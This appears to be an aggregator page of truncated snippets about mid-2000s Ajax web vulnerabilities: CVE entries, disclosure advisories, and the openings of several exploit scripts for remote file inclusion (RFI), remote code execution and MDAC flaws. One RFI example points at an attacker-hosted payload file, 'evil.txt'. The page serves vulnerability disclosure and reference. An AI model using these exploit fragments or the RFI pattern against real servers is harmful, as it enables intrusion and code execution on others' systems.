CVE-2006-3972

Directory traversal vulnerability in includes/operatorchattranscript.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to read arbitrary files via a .. dot dot in the chatid parameter...

CVE-2006-3972

The CVE-2006-3972 entry concerns the Scott Weedon Ajax Chat component (likely version 0.1) where a directory traversal flaw exists in includes/operator_chattranscript.php. An attacker can supply '..' in the chatid parameter to read arbitrary files, enabling partial confidentiality impact. The NVD...

CVE-2006-3971

The CVE-2006-3971 entry describes a Cross-site scripting (XSS) vulnerability in Scott Weedon Ajax Chat, specifically in visitor/livesupport/chat.php, exploitable via the userid parameter. The vulnerability permits remote attackers to inject arbitrary web script/HTML. The NVD listing assigns a CVS...

[Full-disclosure] Ajax Chat Multiple Vulnerabilities

Discovered by Sirdarckcat from elhacker.net Ajax Chat http://www.pcdiscs.co.uk/chat/ ============================================== Ajax Chat is a web script for making an online chat based on PHP and AJAX. This has a Remote File Disclosure and a XSS bug...

JavaScript code can cause the browser attack-vulnerability warning-the black bar safety net

Security researchers have found a Use JavaScript to scan the family and the enterprise network, and attacks on the network server, and the router and printer and other equipment of the method. Researchers say the malicious JavaScript code can be embedded in a Web page, use the browser to browse t...

Ajax Chat 0.1 - operator_chattranscript.php?chatid Traversal Arbitrary File Access

Ajax Chat 0.1 - operatorchattranscript.php?chatid Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input...

Ajax Chat 0.1 - 'operator_chattranscript.php?chatid' Traversal Arbitrary File Access

source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit the directory-traversal issue to retrieve arbitrary files...

Microsoft Internet Explorer - MDAC Remote Code Execution (MS06-014)

Microsoft Internet Explorer - MDAC Remote Code Execution MS06-014 !/bin/sh - "exec" "python" "-O" "$0" "$@" doc = """BL4CK - MS06-014 RDS.DataStore - Data Execution CVS-2006-0003 MS06-014 April 2006 this is a bit out-dated, but works very well Usage: ./bl4ckms06014.py...

Kil13r-SA-20060701-3.txt

Title: Kil13r-SA-20060701-3 Massting Cross-Site Scripting Vulnerability Author: Kil13r - http://www.kil13r.info/ Local / Remote: Remote Timeline: 2006/06/30 - Discovery 2006/06/30 - Vendor notification 2006/06/30 - Vendor response 2006/06/30 - Vendor fix 2006/07/01 - Release Affected version: Not...

dokuwiki -- spellchecker remote PHP code execution

Stefan Esser reports: During the evaluation of DokuWiki for a german/korean wiki of mine a flaw in DokuWiki's spellchecker was discovered, that allows injecting arbitrary PHP commands, by requesting a spellcheck on PHP commands in 'complex curly syntax'. Because the spellchecker is written as par...

"Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein

Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more... Amit Klein, September 2005 Preface ======= This paper is released in a bit of haste, and as such, it may be somewhat incomplete. The reason is that I was toying with the concepts and techniques outlined in it for th...

ActualAnalyzer Pro 6.88 - rf Remote File Inclusion

ActualAnalyzer Pro 6.88 - rf Remote File Inclusion " ."turl:" ."hurl:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $turl.$hurl, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $fi...

ActualAnalyzer Pro <= 6.88 (rf) Remote File Include Exploit

No description provided by source. ?php // No hard feelings ReZEN, I just post them when I get them. /str0ke / ActualAnalyzer Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, D2K url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/path to...

PAJAX 0.5.1 - Remote Code Execution

PAJAX 0.5.1 - Remote Code Execution !/usr/bin/perl use IO::Socket; print "PAJAX Remote Code Injection - code by: Stoney - exploit found by: RedTeam\n"; if $ARGV0 && $ARGV1 $host = $ARGV0; $path = $ARGV1; $sock = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die...

vBulletin ImpEx <= 1.74 Remote Command Execution Exploit

No description provided by source. ?php / vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, My gf url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? / $cm...

cpaint202XSS.txt

GulfTech Security Research February 9, 2006 Vendor : CPAINT URL : http://sourceforge.net/projects/cpaint Version : CPAINT = 2.0.2 Risk : Cross Site Scripting Description: CPAINT Cross-Platform Asynchronous INterface Toolkit is a multi-language toolkit that helps web developers design and implemen...

CPAINT AJAX Library Cross Site Scripting

GulfTech Security Research February 9, 2006 Vendor : CPAINT URL : http://sourceforge.net/projects/cpaint Version : CPAINT = 2.0.2 Risk : Cross Site Scripting Description: CPAINT Cross-Platform Asynchronous INterface Toolkit is a multi-language toolkit that helps web developers design and implemen...

CVE-2005-4810

Microsoft Internet Explorer 7.0 Beta3 and earlier allows remote attackers to cause a denial of service crash via a "text/html" HTML Content-type header sent in response to an XMLHttpRequest AJAX...

[SA16462] CPAINT Ajax Toolkit Unspecified Command Execution Vulnerability

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

CVE-2005-2613

CVE-2005-2613 : The vulnerability is listed for the CPAINT Ajax Toolkit before 1.3-SP . It is described as an unknown vulnerability that could allow an attacker to execute arbitrary PHP or ASP code or read files via unknown vectors . The NVD entry assigns a CVSSv2 base score of 6.4 (MEDIUM) with ...